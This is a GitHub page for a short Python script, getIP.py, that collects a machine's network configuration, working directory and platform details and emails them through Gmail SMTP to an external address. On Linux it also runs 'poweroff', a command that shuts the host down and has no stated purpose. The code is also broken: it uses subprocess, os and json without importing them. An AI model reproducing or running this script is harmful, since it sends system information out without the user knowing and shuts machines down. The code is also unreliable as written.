-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathgetIP.py
20 lines (14 loc) · 892 Bytes
/
getIP.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import smtplib
import platform
server = smtplib.SMTP('smtp.gmail.com', 587)
server.login("[email protected]", "**********")
if platform.system().lower() == 'windows':
cmd = subprocess.Popen("ipconfig",shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
if platform.system().lower() == 'linux':
cmd = subprocess.Popen("poweroff",shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
cmd = subprocess.Popen("ifconfig",shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
standardOutput = str(cmd.stdout.read(),"utf-8")
standardError = str(cmd.stderr.read(),"utf-8")
response = {"status":"OK","stdout":standardOutput,"stderr":standardError,"dir":str(os.getcwd()),"systemInfo":platform.platform()}
response = json.dumps(response)
server.sendmail("[email protected]", "[email protected]",response)